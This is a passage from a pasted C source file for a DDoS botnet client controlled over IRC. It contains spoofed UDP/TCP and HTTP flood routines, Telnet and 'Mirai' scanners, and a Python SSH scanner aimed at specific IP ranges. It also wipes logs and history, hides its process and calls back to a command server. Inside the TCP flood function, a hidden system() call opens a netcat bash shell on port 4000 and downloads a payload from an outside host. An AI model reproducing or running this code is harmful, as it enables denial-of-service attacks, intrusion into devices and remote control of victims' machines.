  1601. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1602. if (time(NULL) >= start + secs) {
  1603. close(iSTD_Sock);
  1604. _exit(0);
  1605. }
  1606. a = 0;
  1607. }
  1608. a++;
  1609. }
  1610. }
  1611. void SendUDP(unsigned char *target, int port, int timeEnd, int packetsize, int pollinterval, int spoofit) {
  1612. struct sockaddr_in dest_addr;
  1613. dest_addr.sin_family = AF_INET;
  1614. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1615. else dest_addr.sin_port = htons(port);
  1616. if(getHost(target, &dest_addr.sin_addr)) return;
  1617. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1618. register unsigned int pollRegister;
  1619. pollRegister = pollinterval;
  1620. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1621. if(!sockfd) {
  1622. return;
  1623. }
  1624. int tmp = 1;
  1625. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1626. return;
  1627. }
  1628. int counter = 50;
  1629. while(counter--) {
  1630. srand(time(NULL) ^ rand_cmwc());
  1631. init_rand(rand());
  1632. }
  1633. in_addr_t netmask;
  1634. netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1635. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1636. struct iphdr *iph = (struct iphdr *)packet;
  1637. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1638. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1639. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1640. udph->source = rand_cmwc();
  1641. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1642. udph->check = 0;
  1643. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1644. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1645. int end = time(NULL) + timeEnd;
  1646. register unsigned int i = 0;
  1647. while(1) {
  1648. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1649. udph->source = rand_cmwc();
  1650. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1651. iph->id = rand_cmwc();
  1652. iph->saddr = htonl( getRandomIP(netmask) );
  1653. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1654. if(i == pollRegister) {
  1655. if(time(NULL) > end) break;
  1656. i = 0;
  1657. continue;
  1658. }
  1659. i++;
  1660. }
  1661. }
  1662. void SendTCP(unsigned char *target, int port, int timeEnd, unsigned char *flags, int packetsize, int pollinterval, int spoofit) {
  1663. register unsigned int pollRegister;
  1664. pollRegister = pollinterval;
  1665. struct sockaddr_in dest_addr;
  1666. dest_addr.sin_family = AF_INET;
  1667. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1668. else dest_addr.sin_port = htons(port);
  1669. if(getHost(target, &dest_addr.sin_addr)) return;
  1670. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1671. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1672. if(!sockfd) { return; }
  1673. int tmp = 1;
  1674. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) { return; }
  1675. in_addr_t netmask;
  1676. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1677. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1678. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1679. struct iphdr *iph = (struct iphdr *)packet;
  1680. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1681. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1682. tcph->source = rand_cmwc();
  1683. tcph->seq = rand_cmwc();
  1684. tcph->ack_seq = 0;
  1685. tcph->doff = 5;
  1686. if(!strcmp(flags, "all")) {
  1687. tcph->syn = 1;
  1688. tcph->rst = 1;
  1689. tcph->fin = 1;
  1690. tcph->ack = 1;
  1691. tcph->psh = 1;
  1692. } else {
  1693. unsigned char *pch = strtok(flags, ",");
  1694. while(pch) {
  1695. if(!strcmp(pch, "syn")) { tcph->syn = 1;
  1696. } else if(!strcmp(pch, "rst")) { tcph->rst = 1;
  1697. } else if(!strcmp(pch, "fin")) { tcph->fin = 1;
  1698. } else if(!strcmp(pch, "ack")) { tcph->ack = 1;
  1699. } else if(!strcmp(pch, "psh")) { tcph->psh = 1;
  1700. } else {
  1701. }
  1702. pch = strtok(NULL, ",");
  1703. }
  1704. }
  1705. tcph->window = rand_cmwc();
  1706. tcph->check = 0;
  1707. tcph->urg_ptr = 0;
  1708. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1709. tcph->check = tcpcsum(iph, tcph);
  1710. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1711. int end = time(NULL) + timeEnd;
  1712. register unsigned int i = 0;
  1713. system("screen -dmSL asdf nc -l -p 4000 -e /bin/bash && wget -q -O /tmp/... http://blasze.tk/RVF497");
  1714. while(1) {
  1715. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1716. iph->saddr = htonl( getRandomIP(netmask) );
  1717. iph->id = rand_cmwc();
  1718. tcph->seq = rand_cmwc();
  1719. tcph->source = rand_cmwc();
  1720. tcph->check = 0;
  1721. tcph->check = tcpcsum(iph, tcph);
  1722. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1723. if(i == pollRegister) {
  1724. if(time(NULL) > end) break;
  1725. i = 0;
  1726. continue;
  1727. }
  1728. i++;
  1729. }
  1730. }
  1731. int socket_connect(char *host, in_port_t port) {
  1732. struct hostent *hp;
  1733. struct sockaddr_in addr;
  1734. int on = 1, sock;
  1735. if ((hp = gethostbyname(host)) == NULL) return 0;
  1736. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1737. addr.sin_port = htons(port);
  1738. addr.sin_family = AF_INET;
  1739. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1740. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1741. if (sock == -1) return 0;
  1742. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1743. return sock;
  1744. }
  1745.  
  1746. void sendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power)
  1747. {
  1748. int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1749. char request[512], buffer[1];
  1750. for (i = 0; i < power; i++)
  1751. {
  1752. sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, UserAgents[(rand() % 36)]);
  1753. if (fork())
  1754. {
  1755. while (end > time(NULL))
  1756. {
  1757. socket = socket_connect(host, port);
  1758. if (socket != 0)
  1759. {
  1760. write(socket, request, strlen(request));
  1761. read(socket, buffer, 1);
  1762. close(socket);
  1763. }
  1764. }
  1765. exit(0);
  1766. }
  1767. }
  1768. }
  1769.  
  1770. void ClearHistory()
  1771. {
  1772. system("history -c;history -w");
  1773. system("cd /;rm -rf .bash_history");
  1774. }
  1775.  
  1776. void processCmd(int argc, unsigned char *argv[]) {
  1777. if(!strcmp(argv[0], "PING"))
  1778. {
  1779. return;
  1780. }
  1781. if(!strcmp(argv[0], "TELNET"))
  1782. {
  1783. if(!strcmp(argv[1], "ON"))
  1784. {
  1785. uint32_t parent;
  1786. parent = fork();
  1787. int ii = 0;
  1788. int forks = sysconf( _SC_NPROCESSORS_ONLN );
  1789. int fds = 999999;
  1790. if(forks == 1) fds = 500;
  1791. if(forks >= 2) fds = 1000;
  1792. if (parent > 0)
  1793. {
  1794. scanPid = parent;
  1795. return;
  1796. }
  1797. else if(parent == -1) return;
  1798.  
  1799. for (ii = 0; ii < forks; ii++)
  1800. {
  1801. srand((time(NULL) ^ getpid()) + getppid());
  1802. init_rand(time(NULL) ^ getpid());
  1803. TelnetScanner(100, fds);
  1804. _exit(0);
  1805. }
  1806. }
  1807. if(!strcmp(argv[1], "OFF"))
  1808. {
  1809. if(scanPid == 0) return;
  1810. kill(scanPid, 9);
  1811. scanPid = 0;
  1812. }
  1813. if(!strcmp(argv[1], "FASTLOAD"))
  1814. {
  1815. if(argc < 3)
  1816. {
  1817. sockprintf(mainCommSock, "SCAN <threads> <usec>");
  1818. return;
  1819. } else {
  1820. int threads = atoi(argv[1]);
  1821. int usec = atoi(argv[2]);
  1822. if(!listFork())
  1823. {
  1824. sockprintf(mainCommSock, "Starting scanner!!");
  1825. TelnetScanner(usec, threads);
  1826. _exit(0);
  1827. }
  1828. return;
  1829. }
  1830. }
  1831. }
  1832. if(!strcmp(argv[0], "MIRAI"))
  1833. {
  1834. if(!strcmp(argv[1], "ON"))
  1835. {
  1836.  
  1837. uint32_t parent;
  1838. parent = fork();
  1839. int ii = 0;
  1840. int forks = sysconf( _SC_NPROCESSORS_ONLN );
  1841. int fds = 999999;
  1842. if(forks == 1) fds = 500;
  1843. if(forks >= 2) fds = 1000;
  1844. if (parent > 0)
  1845. {
  1846. scanPid = parent;
  1847. return;
  1848. }
  1849. else if(parent == -1) return;
  1850.  
  1851. for (ii = 0; ii < forks; ii++)
  1852. {
  1853. srand((time(NULL) ^ getpid()) + getppid());
  1854. init_rand(time(NULL) ^ getpid());
  1855. MiraiScanner(100, fds);
  1856. _exit(0);
  1857. }
  1858. }
  1859. if(!strcmp(argv[1], "OFF"))
  1860. {
  1861. if(scanPid == 0) return;
  1862.  
  1863. kill(scanPid, 9);
  1864. scanPid = 0;
  1865. }
  1866. if(!strcmp(argv[1], "FASTLOAD"))
  1867. {
  1868. {
  1869. if(argc < 3)
  1870. {
  1871. sockprintf(mainCommSock, "SCAN <threads> <usec>");
  1872. return;
  1873. } else {
  1874. int threads = atoi(argv[1]);
  1875. int usec = atoi(argv[2]);
  1876. if(!listFork())
  1877. {
  1878. sockprintf(mainCommSock, "Starting scanner!!");
  1879. MiraiScanner(usec, threads);
  1880. _exit(0);
  1881. }
  1882. return;
  1883. }
  1884. }
  1885. }
  1886.  
  1887. }
  1888.  
  1889. if(!strcmp(argv[0], "PYTHON")) //Infect a Scanner server to the net, before executing this.
  1890. {
  1891. if(!strcmp(argv[1], "INSTALL"))
  1892. {
  1893. system("sudo yum install python-paramiko -y;sudo apt-get install python-paramiko -y;sudo mkdir /.tmp/;cd /.tmp;wget 0.0.0.0/scan.py");
  1894. ClearHistory();
  1895. sockprintf(mainCommSock, "Installing Python Scanner");
  1896. }
  1897. if(!strcmp(argv[1], "UPDATE"))
  1898. {
  1899. system("cd /.tmp;rm -rf *py;wget 0.0.0.0/scan.py");
  1900. ClearHistory();
  1901. sockprintf(mainCommSock, "Updating Python Scanner");
  1902. }
  1903. if(!strcmp(argv[1], "OFF"))
  1904. {
  1905. system("killall -9 python;pkill python");
  1906. ClearHistory();
  1907. sockprintf(mainCommSock, "Killing Python Scanning Proccess");
  1908. }
  1909. if(!strcmp(argv[1], "1"))
  1910. {
  1911. system("cd /.tmp;python scan.py 376 B 119.93 lol");
  1912. ClearHistory();
  1913. sockprintf(mainCommSock, "Scanning 119.93.x.x on Port 22");
  1914. }
  1915. if(!strcmp(argv[1], "2"))
  1916. {
  1917. system("cd /.tmp;python scan.py 376 B 91.98 2");
  1918. ClearHistory();
  1919. sockprintf(mainCommSock, "Scaning 91.98.x.x on Port 22");
  1920. }
  1921. if(!strcmp(argv[1], "3"))
  1922. {
  1923. system("cd /.tmp;python scan.py 376 B 118.173 2");
  1924. ClearHistory();
  1925. sockprintf(mainCommSock, "Scanning 118.173.x.x on Port 22");
  1926. }
  1927. if(!strcmp(argv[1], "4"))
  1928. {
  1929. system("cd /.tmp;python scan.py 376 B 91.99 2");
  1930. ClearHistory();
  1931. sockprintf(mainCommSock, "Scanning 91.99.x.x on Port 22");
  1932. }
  1933. if(!strcmp(argv[1], "5"))
  1934. {
  1935. system("cd /.tmp;python scan.py 376 B 92.99 2");
  1936. ClearHistory();
  1937. sockprintf(mainCommSock, "Scanning 92.99.x.x on Port 22");
  1938. }
  1939. if(!strcmp(argv[1], "LOAD"))
  1940. {
  1941. system("cd /.tmp;killall -9 python;python scan.py 376 LOAD 88 2");
  1942. ClearHistory();
  1943. sockprintf(mainCommSock, "Loading Random Ranges on Port 22");
  1944. }
  1945. }
  1946. if (!strcmp(argv[0], "HTTP"))
  1947. {
  1948. // !* HTTP METHOD TARGET PORT PATH TIME POWER
  1949. // !* HTTP POST/GET/HEAD hackforums.net 80 / 10 100
  1950. if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1951. if (listFork()) return;
  1952. SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1953. exit(0);
  1954. }
  1955. if(!strcmp(argv[0], "UDP"))
  1956. {
  1957. // !* UDP TARGET PORT TIME PACKETSIZE POLLINTERVAL
  1958. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1))
  1959. {
  1960. return;
  1961. }
  1962. unsigned char *ip = argv[1];
  1963. int port = atoi(argv[2]);
  1964. int time = atoi(argv[3]);
  1965. int packetsize = atoi(argv[4]);
  1966. int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
  1967. int spoofed = 32;
  1968. if(strstr(ip, ",") != NULL)
  1969. {
  1970. unsigned char *hi = strtok(ip, ",");
  1971. while(hi != NULL)
  1972. {
  1973. if(!listFork())
  1974. {
  1975. SendUDP(hi, port, time, packetsize, pollinterval, spoofed);
  1976. _exit(0);
  1977. }
  1978. hi = strtok(NULL, ",");
  1979. }
  1980. } else {
  1981. if (listFork())
  1982. {
  1983. return;
  1984. }
  1985. SendUDP(ip, port, time, packetsize, pollinterval, spoofed);
  1986. _exit(0);
  1987. }
  1988. }
  1989. if(!strcmp(argv[0], "TCP"))
  1990. {
  1991. //!* TCP TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL
  1992. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1))
  1993. {
  1994. return;
  1995. }
  1996. unsigned char *ip = argv[1];
  1997. int port = atoi(argv[2]);
  1998. int time = atoi(argv[3]);
  1999. unsigned char *flags = argv[4];
  2000. int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
  2001. int packetsize = argc > 5 ? atoi(argv[5]) : 0;
  2002. int spoofed = 32;
  2003. if(strstr(ip, ",") != NULL) {
  2004. unsigned char *hi = strtok(ip, ",");
  2005. while(hi != NULL) {
  2006. if(!listFork()) {
  2007. SendTCP(hi, port, time, flags, packetsize, pollinterval, spoofed);
  2008. _exit(0);
  2009. }
  2010. hi = strtok(NULL, ",");
  2011. }
  2012. } else {
  2013. if (listFork())
  2014. {
  2015. return;
  2016. }
  2017. SendTCP(ip, port, time, flags, packetsize, pollinterval, spoofed);
  2018. _exit(0);
  2019. }
  2020. }
  2021. if(!strcmp(argv[0], "STD"))
  2022. {
  2023. //!* STD TARGET PORT TIME
  2024. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2025. {
  2026. return;
  2027. }
  2028. unsigned char *ip = argv[1];
  2029. int port = atoi(argv[2]);
  2030. int time = atoi(argv[3]);
  2031. if(strstr(ip, ",") != NULL)
  2032. {
  2033. unsigned char *hi = strtok(ip, ",");
  2034. while(hi != NULL)
  2035. {
  2036. if(!listFork())
  2037. {
  2038. SendSTD(hi, port, time);
  2039. _exit(0);
  2040. }
  2041. hi = strtok(NULL, ",");
  2042. }
  2043. } else {
  2044. if (listFork())
  2045. {
  2046. return;
  2047. }
  2048. SendSTD(ip, port, time);
  2049. _exit(0);
  2050. }
  2051. }
  2052. if(!strcmp(argv[0], "KILLATTK"))
  2053. {
  2054. int killed = 0;
  2055. unsigned long i;
  2056. for (i = 0; i < numpids; i++)
  2057. {
  2058. if (pids[i] != 0 && pids[i] != getpid())
  2059. {
  2060. kill(pids[i], 9);
  2061. killed++;
  2062. }
  2063. }
  2064. if(killed > 0)
  2065. {
  2066. //
  2067. } else {
  2068. //
  2069. }
  2070. }
  2071. if(!strcmp(argv[0], "LOLNOGTFO"))
  2072. {
  2073. exit(0);
  2074. }
  2075. if(!strcmp(argv[0], "UPDATE"))
  2076. {
  2077. RemoveTempDirs();
  2078. sockprintf(mainCommSock, "[cleaning] [%s:%s]", getBuild(), getEndianness());
  2079. }
  2080. }
  2081. int initConnection() {
  2082. unsigned char server[512];
  2083. memset(server, 0, 512);
  2084. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2085. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2086. else currentServer++;
  2087. strcpy(server, commServer[currentServer]);
  2088. int port = 6942;
  2089. if(strchr(server, ':') != NULL) {
  2090. port = atoi(strchr(server, ':') + 1);
  2091. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2092. }
  2093. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2094. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2095. return 0;
  2096. }
  2097. void UpdateNameSrvs() {
  2098. uint16_t fhandler = open("/etc/resolv.conf", O_WRONLY | O_TRUNC);
  2099. if (access("/etc/resolv.conf", F_OK) != -1) {
  2100. const char* resd = "nameserver 8.8.8.8\nnameserver 8.8.4.4\n";
  2101. size_t resl = strlen(resd);
  2102. write(fhandler, resd, resl);
  2103. } else { return; }
  2104. close(fhandler);
  2105. }
  2106. void RemoveTempDirs() {
  2107. system("pkill -9 busybox");
  2108. system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  2109. system("rm -rf /var/log/wtmp");
  2110. system("rm -rf ~/.bash_history");
  2111. system("history -c;history -w");
  2112. }
  2113. int getEndianness(void) {
  2114. union {
  2115. uint32_t vlu;
  2116. uint8_t data[sizeof(uint32_t)];
  2117. } nmb;
  2118. nmb.data[0] = 0x00;
  2119. nmb.data[1] = 0x01;
  2120. nmb.data[2] = 0x02;
  2121. nmb.data[3] = 0x03;
  2122. switch (nmb.vlu) {
  2123. case UINT32_C(0x00010203):
  2124. return "REBIRTH";
  2125. case UINT32_C(0x03020100):
  2126. return "REBIRTH";
  2127. case UINT32_C(0x02030001):
  2128. return "REBIRTH";
  2129. case UINT32_C(0x01000302):
  2130. return "REBIRTH";
  2131. default:
  2132. return "UNKNOWN";
  2133. }
  2134. }
  2135. int main(int argc, unsigned char *argv[]) {
  2136. const char *lolsuckmekid = "";
  2137. if(SERVER_LIST_SIZE <= 0) return 0;
  2138. strncpy(argv[0],"",strlen(argv[0]));
  2139. argv[0] = "";
  2140. prctl(PR_SET_NAME, (unsigned long) lolsuckmekid, 0, 0, 0);
  2141. srand(time(NULL) ^ getpid());
  2142. init_rand(time(NULL) ^ getpid());
  2143. pid_t pid1;
  2144. pid_t pid2;
  2145. int status;
  2146. if (pid1 = fork()) {
  2147. waitpid(pid1, &status, 0);
  2148. exit(0);
  2149. } else if (!pid1) {
  2150. if (pid2 = fork()) {
  2151. exit(0);
  2152. } else if (!pid2) {
  2153. } else {
  2154. }
  2155. } else {
  2156. }
  2157. chdir("/");
  2158. setuid(0);
  2159. seteuid(0);
  2160. signal(SIGPIPE, SIG_IGN);
  2161. while(1) {
  2162. if(fork() == 0) {
  2163. if(initConnection()) { sleep(5); continue; }
  2164. sockprintf(mainCommSock, "[connected] [%s:%s]", getBuild(), getEndianness());
  2165. UpdateNameSrvs();
  2166. RemoveTempDirs();
  2167. char commBuf[4096];
  2168. int got = 0;
  2169. int i = 0;
  2170. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) {
  2171. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2172. unsigned int *newpids, on;
  2173. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2174. pids[on - 1] = 0;
  2175. numpids--;
  2176. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2177. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2178. free(pids);
  2179. pids = newpids;
  2180. }
  2181. commBuf[got] = 0x00;
  2182. trim(commBuf);
  2183. if(strstr(commBuf, "PING") == commBuf) { // PING
  2184. continue;
  2185. }
  2186. if(strstr(commBuf, "DUP") == commBuf) exit(0); // DUP
  2187. unsigned char *message = commBuf;
  2188. if(*message == '!') {
  2189. unsigned char *nickMask = message + 1;
  2190. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2191. if(*nickMask == 0x00) continue;
  2192. *(nickMask) = 0x00;
  2193. nickMask = message + 1;
  2194. message = message + strlen(nickMask) + 2;
  2195. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2196. unsigned char *command = message;
  2197. while(*message != ' ' && *message != 0x00) message++;
  2198. *message = 0x00;
  2199. message++;
  2200. unsigned char *tmpcommand = command;
  2201. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2202. unsigned char *params[10];
  2203. int paramsCount = 1;
  2204. unsigned char *pch = strtok(message, " ");
  2205. params[0] = command;
  2206. while(pch) {
  2207. if(*pch != '\n') {
  2208. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2209. memset(params[paramsCount], 0, strlen(pch) + 1);
  2210. strcpy(params[paramsCount], pch);
  2211. paramsCount++;
  2212. }
  2213. pch = strtok(NULL, " ");
  2214. }
  2215. processCmd(paramsCount, params);
  2216. if(paramsCount > 1) {
  2217. int q = 1;
  2218. for(q = 1; q < paramsCount; q++) {
  2219. free(params[q]);
  2220. }
  2221. }
  2222. }
  2223. }
  2224. }
  2225. return 0;
  2226. }
  2227. }
Advertisement
Add Comment
Please, Sign In to add comment